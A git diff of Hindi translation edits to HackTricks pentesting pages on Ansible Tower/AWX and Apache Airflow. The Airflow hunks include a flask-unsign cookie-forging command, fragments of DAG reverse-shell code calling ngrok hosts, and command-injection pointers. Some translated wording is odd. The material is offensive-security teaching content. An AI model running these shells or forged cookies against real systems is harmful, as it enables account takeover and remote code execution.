diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b9ac9450a..52817de8c 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -6,8 +6,8 @@ > > HackTricks का समर्थन करें > -> - [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें! +> - [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! > - **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **हैकिंग ट्रिक्स साझा करें,** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके। +> - **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें। > > diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index db3cc9d9b..95feeb499 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -4,9 +4,9 @@ ## Basic Information -**Ansible Tower** या इसका ओपन-सोर्स संस्करण [**AWX**](https://github.com/ansible/awx) को **Ansible का उपयोगकर्ता इंटरफ़ेस, डैशबोर्ड, और REST API** के रूप में भी जाना जाता है। **भूमिका-आधारित पहुँच नियंत्रण**, नौकरी अनुसूची, और ग्राफिकल इन्वेंटरी प्रबंधन के साथ, आप अपने Ansible बुनियादी ढांचे को एक आधुनिक UI से प्रबंधित कर सकते हैं। Tower का REST API और कमांड-लाइन इंटरफ़ेस इसे वर्तमान उपकरणों और कार्यप्रवाहों में एकीकृत करना सरल बनाता है। +**Ansible Tower** या इसका ओपनसोर्स संस्करण [**AWX**](https://github.com/ansible/awx) को **Ansible का उपयोगकर्ता इंटरफ़ेस, डैशबोर्ड, और REST API** के रूप में भी जाना जाता है। **भूमिका-आधारित पहुँच नियंत्रण**, नौकरी अनुसूची, और ग्राफिकल इन्वेंटरी प्रबंधन के साथ, आप एक आधुनिक UI से अपनी Ansible अवसंरचना का प्रबंधन कर सकते हैं। Tower का REST API और कमांड-लाइन इंटरफ़ेस इसे वर्तमान उपकरणों और कार्यप्रवाहों में एकीकृत करना सरल बनाता है। -**Automation Controller Ansible Tower का एक नया** संस्करण है जिसमें अधिक क्षमताएँ हैं। +**Automation Controller एक नया** संस्करण है Ansible Tower का जिसमें अधिक क्षमताएँ हैं। ### Differences @@ -14,21 +14,21 @@ ### Tech Stack -- **Web Interface**: यह ग्राफिकल इंटरफ़ेस है जहाँ उपयोगकर्ता इन्वेंटरी, क्रेडेंशियल, टेम्पलेट, और नौकरियों का प्रबंधन कर सकते हैं। इसे सहज बनाने के लिए डिज़ाइन किया गया है और यह आपके स्वचालन कार्यों की स्थिति और परिणामों को समझने में मदद करने के लिए दृश्य प्रस्तुतियाँ प्रदान करता है। -- **REST API**: आप जो कुछ भी वेब इंटरफ़ेस में कर सकते हैं, आप REST API के माध्यम से भी कर सकते हैं। इसका मतलब है कि आप AWX/Tower को अन्य प्रणालियों के साथ एकीकृत कर सकते हैं या उन क्रियाओं को स्क्रिप्ट कर सकते हैं जो आप सामान्यतः इंटरफ़ेस में करते हैं। +- **Web Interface**: यह ग्राफिकल इंटरफ़ेस है जहाँ उपयोगकर्ता इन्वेंटरी, क्रेडेंशियल्स, टेम्पलेट्स, और नौकरियों का प्रबंधन कर सकते हैं। इसे सहज बनाने के लिए डिज़ाइन किया गया है और यह आपके स्वचालन नौकरियों की स्थिति और परिणामों को समझने में मदद करने के लिए दृश्य प्रस्तुतियाँ प्रदान करता है। +- **REST API**: आप जो कुछ भी वेब इंटरफ़ेस में कर सकते हैं, आप REST API के माध्यम से भी कर सकते हैं। इसका मतलब है कि आप AWX/Tower को अन्य प्रणालियों के साथ एकीकृत कर सकते हैं या उन क्रियाओं को स्क्रिप्ट कर सकते हैं जो आप आमतौर पर इंटरफ़ेस में करते हैं। - **Database**: AWX/Tower एक डेटाबेस (आमतौर पर PostgreSQL) का उपयोग करता है ताकि इसकी कॉन्फ़िगरेशन, नौकरी के परिणाम, और अन्य आवश्यक परिचालन डेटा को संग्रहीत किया जा सके। -- **RabbitMQ**: यह AWX/Tower द्वारा विभिन्न घटकों के बीच संचार के लिए उपयोग किया जाने वाला संदेश प्रणाली है, विशेष रूप से वेब सेवा और कार्य चलाने वालों के बीच। +- **RabbitMQ**: यह AWX/Tower द्वारा विभिन्न घटकों के बीच संवाद करने के लिए उपयोग किया जाने वाला संदेश प्रणाली है, विशेष रूप से वेब सेवा और कार्य चलाने वालों के बीच। - **Redis**: Redis एक कैश और कार्य कतार के लिए बैकएंड के रूप में कार्य करता है। ### Logical Components -- **Inventories**: एक इन्वेंटरी एक **होस्ट (या नोड्स)** का **संग्रह** है जिसके खिलाफ **नौकरियाँ** (Ansible प्लेबुक) **चलाई जा सकती हैं**। AWX/Tower आपको अपनी इन्वेंटरी को परिभाषित और समूहित करने की अनुमति देता है और यह गतिशील इन्वेंटरी का समर्थन करता है जो **अन्य प्रणालियों** से होस्ट सूचियाँ **लैपटॉप** कर सकता है जैसे AWS, Azure, आदि। -- **Projects**: एक प्रोजेक्ट मूल रूप से एक **Ansible प्लेबुक का संग्रह** है जो एक **संस्करण नियंत्रण प्रणाली** (जैसे Git) से लिया गया है ताकि आवश्यकता पड़ने पर नवीनतम प्लेबुक को खींचा जा सके। -- **Templates**: नौकरी टेम्पलेट यह परिभाषित करते हैं कि **किस प्रकार की प्लेबुक चलाई जाएगी**, **इन्वेंटरी**, **क्रेडेंशियल**, और नौकरी के लिए अन्य **पैरामीटर** निर्दिष्ट करते हैं। -- **Credentials**: AWX/Tower एक सुरक्षित तरीके से **गोपनीयताओं का प्रबंधन और संग्रहण** करने का एक सुरक्षित तरीका प्रदान करता है, जैसे SSH कुंजी, पासवर्ड, और API टोकन। इन क्रेडेंशियल को नौकरी टेम्पलेट के साथ जोड़ा जा सकता है ताकि प्लेबुक को चलाते समय आवश्यक पहुँच मिल सके। -- **Task Engine**: यहीं जादू होता है। कार्य इंजन Ansible पर आधारित है और **प्लेबुक चलाने** के लिए जिम्मेदार है। नौकरियाँ कार्य इंजन को भेजी जाती हैं, जो निर्दिष्ट इन्वेंटरी के खिलाफ निर्दिष्ट क्रेडेंशियल का उपयोग करके Ansible प्लेबुक चलाता है। +- **Inventories**: एक इन्वेंटरी एक **होस्ट (या नोड्स)** का **संग्रह** है जिसके खिलाफ **नौकरियाँ** (Ansible प्लेबुक) **चलाई** जा सकती हैं। AWX/Tower आपको अपनी इन्वेंटरी को परिभाषित और समूहित करने की अनुमति देता है और यह गतिशील इन्वेंटरी का भी समर्थन करता है जो **अन्य प्रणालियों** से होस्ट सूचियाँ **लैपटॉप** कर सकता है जैसे AWS, Azure, आदि। +- **Projects**: एक प्रोजेक्ट मूल रूप से एक **Ansible प्लेबुक का संग्रह** है जो एक **संस्करण नियंत्रण प्रणाली** (जैसे Git) से लिया गया है ताकि आवश्यकतानुसार नवीनतम प्लेबुक को खींचा जा सके। +- **Templates**: नौकरी टेम्पलेट्स परिभाषित करते हैं **कैसे एक विशेष प्लेबुक चलाई जाएगी**, **इन्वेंटरी**, **क्रेडेंशियल्स**, और नौकरी के लिए अन्य **पैरामीटर** निर्दिष्ट करते हैं। +- **Credentials**: AWX/Tower एक सुरक्षित तरीका प्रदान करता है **गोपनीयताओं का प्रबंधन और संग्रहण करने के लिए, जैसे SSH कुंजी, पासवर्ड, और API टोकन**। ये क्रेडेंशियल्स नौकरी टेम्पलेट्स के साथ जुड़े जा सकते हैं ताकि प्लेबुक को चलाते समय आवश्यक पहुँच मिल सके। +- **Task Engine**: यहीं जादू होता है। कार्य इंजन Ansible पर आधारित है और **प्लेबुक चलाने** के लिए जिम्मेदार है। नौकरियाँ कार्य इंजन को भेजी जाती हैं, जो निर्दिष्ट क्रेडेंशियल्स का उपयोग करके निर्दिष्ट इन्वेंटरी के खिलाफ Ansible प्लेबुक चलाता है। - **Schedulers and Callbacks**: ये AWX/Tower में उन्नत सुविधाएँ हैं जो **नौकरियों को विशिष्ट समय पर चलाने** या बाहरी घटनाओं द्वारा ट्रिगर करने की अनुमति देती हैं। -- **Notifications**: AWX/Tower नौकरी की सफलता या विफलता के आधार पर सूचनाएँ भेज सकता है। यह ईमेल, स्लैक संदेश, वेबहुक आदि जैसे विभिन्न सूचनाओं के तरीकों का समर्थन करता है। +- **Notifications**: AWX/Tower नौकरी की सफलता या विफलता के आधार पर सूचनाएँ भेज सकता है। यह ईमेल, Slack संदेश, वेबहुक आदि जैसी विभिन्न सूचनाओं के तरीकों का समर्थन करता है। - **Ansible Playbooks**: Ansible प्लेबुक कॉन्फ़िगरेशन, तैनाती, और ऑर्केस्ट्रेशन उपकरण हैं। वे स्वचालित, दोहराने योग्य तरीके से प्रणालियों की इच्छित स्थिति का वर्णन करते हैं। YAML में लिखी गई, प्लेबुक Ansible की घोषणात्मक स्वचालन भाषा का उपयोग करके कॉन्फ़िगरेशन, कार्य, और चरणों का वर्णन करती हैं जिन्हें निष्पादित करने की आवश्यकता होती है। ### Job Execution Flow @@ -36,22 +36,22 @@ 1. **User Interaction**: एक उपयोगकर्ता AWX/Tower के साथ **Web Interface** या **REST API** के माध्यम से इंटरैक्ट कर सकता है। ये AWX/Tower द्वारा प्रदान की गई सभी कार्यक्षमताओं के लिए फ्रंट-एंड पहुँच प्रदान करते हैं। 2. **Job Initiation**: - उपयोगकर्ता, वेब इंटरफ़ेस या API के माध्यम से, एक **Job Template** के आधार पर नौकरी शुरू करता है। -- नौकरी टेम्पलेट में **Inventory**, **Project** (प्लेबुक शामिल) और **Credentials** के संदर्भ शामिल होते हैं। -- नौकरी शुरू करने पर, निष्पादन के लिए नौकरी को कतार में डालने के लिए AWX/Tower बैकएंड को एक अनुरोध भेजा जाता है। +- नौकरी टेम्पलेट में **Inventory**, **Project** (प्लेबुक को शामिल करते हुए), और **Credentials** के संदर्भ शामिल होते हैं। +- नौकरी शुरू करने पर, कार्यान्वयन के लिए नौकरी को कतार में डालने के लिए AWX/Tower बैकएंड को एक अनुरोध भेजा जाता है। 3. **Job Queuing**: - **RabbitMQ** वेब घटक और कार्य चलाने वालों के बीच संदेशों को संभालता है। एक बार जब नौकरी शुरू होती है, तो RabbitMQ का उपयोग करके कार्य इंजन को एक संदेश भेजा जाता है। -- **Redis** कार्य कतार के लिए बैकएंड के रूप में कार्य करता है, जो निष्पादन की प्रतीक्षा कर रहे कतारबद्ध नौकरियों का प्रबंधन करता है। +- **Redis** कार्य कतार के लिए बैकएंड के रूप में कार्य करता है, प्रचालित नौकरियों का प्रबंधन करता है जो निष्पादन की प्रतीक्षा कर रही हैं। 4. **Job Execution**: -- **Task Engine** कतारबद्ध नौकरी को उठाता है। यह नौकरी से संबंधित प्लेबुक, इन्वेंटरी, और क्रेडेंशियल के बारे में आवश्यक जानकारी **Database** से प्राप्त करता है। +- **Task Engine** कतार में रखी गई नौकरी को उठाता है। यह नौकरी से संबंधित प्लेबुक, इन्वेंटरी, और क्रेडेंशियल्स के बारे में आवश्यक जानकारी **Database** से प्राप्त करता है। - संबंधित **Project** से प्राप्त Ansible प्लेबुक का उपयोग करते हुए, कार्य इंजन निर्दिष्ट **Inventory** नोड्स के खिलाफ प्लेबुक चलाता है, प्रदान किए गए **Credentials** का उपयोग करते हुए। - जैसे-जैसे प्लेबुक चलती है, इसका निष्पादन आउटपुट (लॉग, तथ्य, आदि) कैप्चर किया जाता है और **Database** में संग्रहीत किया जाता है। 5. **Job Results**: - एक बार जब प्लेबुक चलना समाप्त हो जाता है, तो परिणाम (सफलता, विफलता, लॉग) **Database** में सहेजे जाते हैं। - उपयोगकर्ता फिर वेब इंटरफ़ेस के माध्यम से परिणाम देख सकते हैं या REST API के माध्यम से उन्हें क्वेरी कर सकते हैं। -- नौकरी के परिणामों के आधार पर, **Notifications** उपयोगकर्ताओं या बाहरी प्रणालियों को नौकरी की स्थिति के बारे में सूचित करने के लिए भेजी जा सकती हैं। सूचनाएँ ईमेल, स्लैक संदेश, वेबहुक आदि हो सकती हैं। +- नौकरी के परिणामों के आधार पर, **Notifications** उपयोगकर्ताओं या बाहरी प्रणालियों को नौकरी की स्थिति के बारे में सूचित करने के लिए भेजी जा सकती हैं। सूचनाएँ ईमेल, Slack संदेश, वेबहुक आदि हो सकती हैं। 6. **External Systems Integration**: - **Inventories** को बाहरी प्रणालियों से गतिशील रूप से लिया जा सकता है, जिससे AWX/Tower को AWS, Azure, VMware, और अधिक जैसे स्रोतों से होस्ट खींचने की अनुमति मिलती है। -- **Projects** (प्लेबुक) को संस्करण नियंत्रण प्रणालियों से खींचा जा सकता है, यह सुनिश्चित करते हुए कि नौकरी निष्पादन के दौरान अद्यतन प्लेबुक का उपयोग किया जाए। +- **Projects** (प्लेबुक) को संस्करण नियंत्रण प्रणालियों से खींचा जा सकता है, यह सुनिश्चित करते हुए कि नौकरी के निष्पादन के दौरान अद्यतन प्लेबुक का उपयोग किया जाए। - **Schedulers and Callbacks** का उपयोग अन्य प्रणालियों या उपकरणों के साथ एकीकृत करने के लिए किया जा सकता है, जिससे AWX/Tower बाहरी ट्रिगर्स पर प्रतिक्रिया कर सके या पूर्व निर्धारित समय पर नौकरियाँ चला सके। ### AWX lab creation for testing @@ -84,11 +84,11 @@ docker exec tools_awx_1 awx-manage create_preload_data ``` ## RBAC -### Supported roles +### समर्थित भूमिकाएँ -सबसे अधिक विशेषाधिकार प्राप्त भूमिका को **System Administrator** कहा जाता है। इस भूमिका वाले कोई भी **कुछ भी संशोधित कर सकता है**। +सबसे अधिक विशेषाधिकार प्राप्त भूमिका को **System Administrator** कहा जाता है। इस भूमिका के साथ कोई भी **कुछ भी संशोधित कर सकता है**। -एक **white box security** समीक्षा के लिए, आपको **System Auditor role** की आवश्यकता होगी, जो **सभी सिस्टम डेटा को देखने** की अनुमति देती है लेकिन कोई परिवर्तन नहीं कर सकती। एक और विकल्प **Organization Auditor role** प्राप्त करना होगा, लेकिन पहले वाला बेहतर होगा। +एक **white box security** समीक्षा के लिए, आपको **System Auditor role** की आवश्यकता होगी, जो **सभी सिस्टम डेटा को देखने** की अनुमति देती है लेकिन कोई परिवर्तन नहीं कर सकती। एक और विकल्प **Organization Auditor role** प्राप्त करना होगा, लेकिन बेहतर होगा कि आप दूसरी भूमिका प्राप्त करें।
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index 7bf3df6f6..67e2ff8c1 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -4,19 +4,19 @@ ### Basic Information -[**Apache Airflow**](https://airflow.apache.org) **डेटा पाइपलाइनों या वर्कफ़्लो को व्यवस्थित और शेड्यूल करने के लिए एक प्लेटफ़ॉर्म के रूप में कार्य करता है**। डेटा पाइपलाइनों के संदर्भ में "व्यवस्थापन" का अर्थ विभिन्न स्रोतों से उत्पन्न जटिल डेटा वर्कफ़्लो को व्यवस्थित, समन्वयित और प्रबंधित करने की प्रक्रिया है। इन व्यवस्थित डेटा पाइपलाइनों का प्राथमिक उद्देश्य संसाधित और उपभोग करने योग्य डेटा सेट प्रदान करना है। ये डेटा सेट कई अनुप्रयोगों द्वारा व्यापक रूप से उपयोग किए जाते हैं, जिनमें व्यापार बुद्धिमत्ता उपकरण, डेटा विज्ञान और मशीन लर्निंग मॉडल शामिल हैं, जो सभी बड़े डेटा अनुप्रयोगों के कार्य करने के लिए आधारभूत हैं। +[**Apache Airflow**](https://airflow.apache.org) **डेटा पाइपलाइनों या वर्कफ़्लो को व्यवस्थित और शेड्यूल करने के लिए एक प्लेटफ़ॉर्म के रूप में कार्य करता है**। डेटा पाइपलाइनों के संदर्भ में "व्यवस्थापन" का अर्थ विभिन्न स्रोतों से उत्पन्न जटिल डेटा वर्कफ़्लो को व्यवस्थित, समन्वयित और प्रबंधित करने की प्रक्रिया है। इन व्यवस्थित डेटा पाइपलाइनों का प्राथमिक उद्देश्य संसाधित और उपभोग करने योग्य डेटा सेट प्रदान करना है। ये डेटा सेट कई अनुप्रयोगों द्वारा व्यापक रूप से उपयोग किए जाते हैं, जिनमें व्यवसायिक बुद्धिमत्ता उपकरण, डेटा विज्ञान और मशीन लर्निंग मॉडल शामिल हैं, जो सभी बड़े डेटा अनुप्रयोगों के कार्य करने के लिए आधारभूत हैं। -बुनियादी रूप से, Apache Airflow आपको **कोड के निष्पादन को शेड्यूल करने की अनुमति देगा जब कुछ** (घटना, क्रोन) **होगा**। +बुनियादी रूप से, Apache Airflow आपको **कोड के निष्पादन को शेड्यूल करने की अनुमति देगा जब कुछ** (घटना, क्रोन) **होता है**। ### Local Lab #### Docker-Compose -आप **https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml** से **docker-compose कॉन्फ़िग फ़ाइल का उपयोग कर सकते हैं** ताकि एक पूर्ण apache airflow docker वातावरण लॉन्च किया जा सके। (यदि आप MacOS पर हैं, तो सुनिश्चित करें कि आप docker VM को कम से कम 6GB RAM दें)। +आप **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) का उपयोग करके एक पूर्ण apache airflow docker वातावरण लॉन्च कर सकते हैं। (यदि आप MacOS पर हैं, तो सुनिश्चित करें कि आप docker VM को कम से कम 6GB RAM दें)। #### Minikube -**apache airflow को चलाने का एक आसान तरीका** इसे **minikube के साथ चलाना है**: +**apache airflo**w को चलाने का एक आसान तरीका है **minikube के साथ इसे चलाना**: ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update @@ -28,7 +28,7 @@ helm delete airflow-release ``` ### Airflow Configuration -Airflow अपनी कॉन्फ़िगरेशन में **संवेदनशील जानकारी** संग्रहीत कर सकता है या आप कमजोर कॉन्फ़िगरेशन पा सकते हैं: +Airflow अपनी **संवेदनशील जानकारी** को अपनी कॉन्फ़िगरेशन में स्टोर कर सकता है या आप कमजोर कॉन्फ़िगरेशन पा सकते हैं: {{#ref}} airflow-configuration.md @@ -48,29 +48,29 @@ airflow-rbac.md यदि आपके पास **वेब कंसोल तक पहुंच** है, तो आप निम्नलिखित जानकारी में से कुछ या सभी तक पहुंच सकते हैं: -- **Variables** (कस्टम संवेदनशील जानकारी यहां संग्रहीत की जा सकती है) -- **Connections** (कस्टम संवेदनशील जानकारी यहां संग्रहीत की जा सकती है) +- **Variables** (कस्टम संवेदनशील जानकारी यहां स्टोर की जा सकती है) +- **Connections** (कस्टम संवेदनशील जानकारी यहां स्टोर की जा सकती है) - उन्हें `http:///connection/list/` में एक्सेस करें -- [**Configuration**](./#airflow-configuration) (संवेदनशील जानकारी जैसे **`secret_key`** और पासवर्ड यहां संग्रहीत किए जा सकते हैं) -- **उपयोगकर्ताओं और भूमिकाओं** की सूची -- **प्रत्येक DAG का कोड** (जिसमें दिलचस्प जानकारी हो सकती है) +- [**Configuration**](./#airflow-configuration) (संवेदनशील जानकारी जैसे **`secret_key`** और पासवर्ड यहां स्टोर किए जा सकते हैं) +- **users & roles** की सूची +- **Code of each DAG** (जिसमें दिलचस्प जानकारी हो सकती है) #### Retrieve Variables Values -Variables को Airflow में संग्रहीत किया जा सकता है ताकि **DAGs** उनके मानों को **एक्सेस** कर सकें। यह अन्य प्लेटफार्मों के रहस्यों के समान है। यदि आपके पास **पर्याप्त अनुमतियाँ** हैं, तो आप उन्हें GUI में `http:///variable/list/` में एक्सेस कर सकते हैं।\ -Airflow डिफ़ॉल्ट रूप से GUI में वेरिएबल का मान दिखाएगा, हालाँकि, [**इस**](https://marclamberti.com/blog/variables-with-apache-airflow/) के अनुसार, यह संभव है कि **वेरिएबल्स की एक सूची** सेट की जाए जिनका **मान** **अतिरिक्त चिह्नों** के रूप में **GUI** में दिखाई देगा। +Variables को Airflow में स्टोर किया जा सकता है ताकि **DAGs** उनके मानों को **एक्सेस** कर सकें। यह अन्य प्लेटफार्मों के रहस्यों के समान है। यदि आपके पास **पर्याप्त अनुमतियाँ** हैं, तो आप उन्हें GUI में `http:///variable/list/` में एक्सेस कर सकते हैं।\ +Airflow डिफ़ॉल्ट रूप से GUI में वेरिएबल का मान दिखाएगा, हालाँकि, [**इस**](https://marclamberti.com/blog/variables-with-apache-airflow/) के अनुसार, एक **वेरिएबल्स की सूची** सेट करना संभव है जिसका **मान** GUI में **अतिरिक्त चिह्नों** के रूप में दिखाई देगा। ![](<../../images/image (164).png>) -हालांकि, ये **मान** अभी भी **CLI** के माध्यम से **प्राप्त** किए जा सकते हैं (आपको DB एक्सेस की आवश्यकता है), **मनमाने DAG** निष्पादन, **API** के माध्यम से वेरिएबल्स एंडपॉइंट तक पहुंच (API को सक्रिय करना आवश्यक है), और **यहां तक कि GUI स्वयं!**\ -GUI से उन मानों तक पहुंचने के लिए बस **वेरिएबल्स का चयन करें** जिन्हें आप एक्सेस करना चाहते हैं और **Actions -> Export** पर क्लिक करें।\ -एक और तरीका है **छिपे हुए मान** पर **ब्रूटफोर्स** करना, इसे **खोज फ़िल्टरिंग** का उपयोग करके तब तक करें जब तक आप इसे प्राप्त न कर लें: +हालांकि, ये **मान** अभी भी **CLI** के माध्यम से **प्राप्त** किए जा सकते हैं (आपको DB एक्सेस होना चाहिए), **मनमाने DAG** निष्पादन, **API** के माध्यम से वेरिएबल्स एंडपॉइंट तक पहुंच (API को सक्रिय करना आवश्यक है), और **यहां तक कि GUI स्वयं!**\ +GUI से उन मानों तक पहुंचने के लिए बस **वेरिएबल्स** का चयन करें जिन्हें आप एक्सेस करना चाहते हैं और **Actions -> Export** पर क्लिक करें।\ +एक और तरीका है **छिपे हुए मान** पर **ब्रूटफोर्स** करना, इसे **खोज फ़िल्टरिंग** का उपयोग करके जब तक आप इसे प्राप्त न कर लें: ![](<../../images/image (152).png>) #### Privilege Escalation -यदि **`expose_config`** कॉन्फ़िगरेशन **True** पर सेट है, तो **भूमिका उपयोगकर्ता** और **ऊपर** से **वेब में कॉन्फ़िग** को **पढ़** सकते हैं। इस कॉन्फ़िगरेशन में, **`secret_key`** प्रकट होता है, जिसका अर्थ है कि इस मान्य के साथ कोई भी उपयोगकर्ता **अपना स्वयं का हस्ताक्षरित कुकी बना सकता है ताकि किसी अन्य उपयोगकर्ता खाते का अनुकरण कर सके**। +यदि **`expose_config`** कॉन्फ़िगरेशन **True** पर सेट है, तो **User** भूमिका और **ऊपर** से **वेब में कॉन्फ़िग** को **पढ़** सकते हैं। इस कॉन्फ़िगरेशन में, **`secret_key`** दिखाई देता है, जिसका अर्थ है कि इस मान्य के साथ कोई भी उपयोगकर्ता **अपना स्वयं का साइन किया हुआ कुकी बना सकता है ताकि किसी अन्य उपयोगकर्ता खाते का अनुकरण कर सके**। ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` @@ -118,7 +118,7 @@ op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} ``` #### DAG बैकडोर (Airflow शेड्यूलर में RCE) -यदि आप कुछ को **कोड की जड़ में निष्पादित करने के लिए सेट करते हैं**, तो इस लेखन के क्षण में, इसे **शेड्यूलर द्वारा निष्पादित किया जाएगा** DAG के फ़ोल्डर में रखने के कुछ सेकंड बाद। +यदि आप कुछ को **कोड की जड़ में निष्पादित करने के लिए सेट करते हैं**, तो इस लेखन के समय, इसे **शेड्यूलर द्वारा निष्पादित किया जाएगा** DAG के फ़ोल्डर में रखने के कुछ सेकंड बाद। ```python import pendulum, socket, os, pty from airflow import DAG @@ -142,24 +142,24 @@ task_id='rs_python2', python_callable=rs, op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` -#### DAG Creation +#### DAG निर्माण यदि आप **DAG क्लस्टर के अंदर एक मशीन को समझौता करने में सफल होते हैं**, तो आप `dags/` फ़ोल्डर में नए **DAGs स्क्रिप्ट** बना सकते हैं और ये **DAG क्लस्टर के अंदर बाकी मशीनों में दोहराए जाएंगे**। -#### DAG Code Injection +#### DAG कोड इंजेक्शन -जब आप GUI से एक DAG को निष्पादित करते हैं, तो आप इसे **आर्गुमेंट्स** पास कर सकते हैं।\ -इसलिए, यदि DAG सही तरीके से कोडित नहीं है, तो यह **कमांड इंजेक्शन के लिए संवेदनशील हो सकता है।**\ +जब आप GUI से एक DAG को निष्पादित करते हैं, तो आप इसे **आर्गुमेंट्स** **दे सकते हैं**।\ +इसलिए, यदि DAG ठीक से कोडित नहीं है, तो यह **कमांड इंजेक्शन के लिए संवेदनशील हो सकता है।**\ यही इस CVE में हुआ: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -आपको **DAGs में कमांड इंजेक्शन की तलाश शुरू करने के लिए जो कुछ जानने की आवश्यकता है, वह यह है कि** **पैरामीटर्स** **कोड** **`dag_run.conf.get("param_name")`** के साथ **एक्सेस** किए जाते हैं। +आपको **DAGs में कमांड इंजेक्शन की तलाश शुरू करने के लिए जो कुछ भी जानने की आवश्यकता है, वह यह है कि **पैरामीटर** कोड **`dag_run.conf.get("param_name")`** के साथ **एक्सेस** किए जाते हैं। -इसके अलावा, वही संवेदनशीलता **वेरिएबल्स** के साथ भी हो सकती है (ध्यान दें कि पर्याप्त विशेषाधिकार के साथ आप GUI में **वेरिएबल्स के मान को नियंत्रित कर सकते हैं**)। वेरिएबल्स को **एक्सेस किया जाता है**: +इसके अलावा, वही संवेदनशीलता **वेरिएबल्स** के साथ भी हो सकती है (ध्यान दें कि पर्याप्त विशेषाधिकार के साथ आप GUI में **वेरिएबल्स के मान को नियंत्रित कर सकते हैं**)। वेरिएबल्स को **इससे एक्सेस किया जाता है**: ```python from airflow.models import Variable [...] foo = Variable.get("foo") ``` -यदि उन्हें उदाहरण के लिए एक bash कमांड के अंदर उपयोग किया जाता है, तो आप एक कमांड इंजेक्शन कर सकते हैं। +यदि उन्हें उदाहरण के लिए एक bash कमांड के अंदर उपयोग किया जाता है, तो आप एक कमांड इंजेक्शन कर सकते हैं। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 43acd38fd..3b97a72ba 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -6,9 +6,9 @@ **Apache Airflow** सभी एयरफ्लो मशीनों में एक **config file** उत्पन्न करता है जिसे **`airflow.cfg`** कहा जाता है, जो एयरफ्लो उपयोगकर्ता के होम में होता है। यह config file कॉन्फ़िगरेशन जानकारी रखती है और **दिलचस्प और संवेदनशील जानकारी हो सकती है।** -**इस फ़ाइल तक पहुँचने के दो तरीके हैं: कुछ एयरफ्लो मशीन को समझौता करके, या वेब कंसोल तक पहुँचकर।** +**इस फ़ाइल तक पहुँचने के दो तरीके हैं: किसी एयरफ्लो मशीन को समझौता करके, या वेब कंसोल तक पहुँचकर।** -ध्यान दें कि **config file के अंदर के मान** **वास्तव में उपयोग किए गए नहीं हो सकते**, क्योंकि आप उन्हें `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` जैसे env वेरिएबल सेट करके ओवरराइट कर सकते हैं। +ध्यान दें कि **config file के अंदर के मान** **वास्तव में उपयोग किए गए नहीं हो सकते**, क्योंकि आप उन्हें env वेरिएबल सेट करके ओवरराइट कर सकते हैं जैसे `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`। यदि आपके पास **वेब सर्वर में config file तक पहुँच है**, तो आप उसी पृष्ठ पर **वास्तविक चल रही कॉन्फ़िगरेशन** की जांच कर सकते हैं जहाँ config प्रदर्शित होता है।\ यदि आपके पास **एयरफ्लो वातावरण के अंदर किसी मशीन तक पहुँच है**, तो **पर्यावरण** की जांच करें। @@ -20,14 +20,14 @@ config file पढ़ते समय जांचने के लिए कु - **`access_control_allow_headers`**: यह **CORS** के लिए **अनुमत** **हेडर** को इंगित करता है - **`access_control_allow_methods`**: यह **CORS** के लिए **अनुमत विधियों** को इंगित करता है - **`access_control_allow_origins`**: यह **CORS** के लिए **अनुमत मूल** को इंगित करता है -- **`auth_backend`**: [**दस्तावेज़ों के अनुसार**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) कुछ विकल्प हो सकते हैं यह निर्धारित करने के लिए कि कौन API तक पहुँच सकता है: +- **`auth_backend`**: [**दस्तावेज़ों के अनुसार**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) कुछ विकल्प हो सकते हैं जो यह निर्धारित करते हैं कि कौन API तक पहुँच सकता है: - `airflow.api.auth.backend.deny_all`: **डिफ़ॉल्ट रूप से कोई भी** API तक पहुँच नहीं सकता - `airflow.api.auth.backend.default`: **सभी** बिना प्रमाणीकरण के इसे एक्सेस कर सकते हैं -- `airflow.api.auth.backend.kerberos_auth`: **केरबेरस 